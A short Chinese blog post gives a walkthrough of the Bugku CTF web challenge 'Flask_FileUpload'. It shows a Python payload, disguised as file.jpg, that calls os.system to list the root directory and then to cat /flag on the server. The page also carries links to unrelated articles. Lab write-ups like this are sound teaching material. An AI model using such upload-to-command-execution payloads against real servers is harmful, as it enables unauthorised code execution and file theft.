技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
小帅热爱难回头
16 分钟前
编写Skill生成AI落地项目系统架构
python
excel
31 分钟前
JavaScript 字符串与模板字面量:从表象到本质理解
前端
diving deep
1 小时前
脚本速览-python
开发语言·python
京东云开发者
1 小时前
当AI成为导演-如何用AI创作动漫短剧
前端
李白的天不白
1 小时前
使用 SmartAdmin 进行前后端开发
java·前端
乘风gg
2 小时前
🤡PUA AI Coding 工具 的 10 条终极语录
前端·ai编程·claude
学Linux的语莫
2 小时前
Vue 3 入门教程
前端·javascript·vue.js
怕浪猫
2 小时前
第一章、Chrome DevTools Protocol (CDP) 详解
前端·javascript·chrome
2601_95164377
2 小时前
Python第一,Java跌出前三,C语言杀回来了
java·c语言·python·编程语言排行·技术趋势
kyriewen
2 小时前
从本地到生产:迁移到 GitHub Actions 自动化 CI/CD,总结了这 5 个坑
前端·github·自动化运维
热门推荐
01HTTP 与 HTTPS 的区别:从原理到实战详解022026年6月AI行业全景:从百模大战到Agent元年,这30天发生了什么?032026 AI 编程工具终极实战指南:Cursor vs Claude Code vs Copilot,开发者该怎么选?04【AI】2026 年具身智能模型和世界模型总结052026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf06GitHub 镜像站点07AI科技热点日报 | 2026年6月1日08《置身钉内》原文-可播放阅读09Claude Code、Codex、Cursor三分天下:2026年AI编程Agent生态全景剖析10上线仅72小时被强制下架:Claude Fable 5 的短命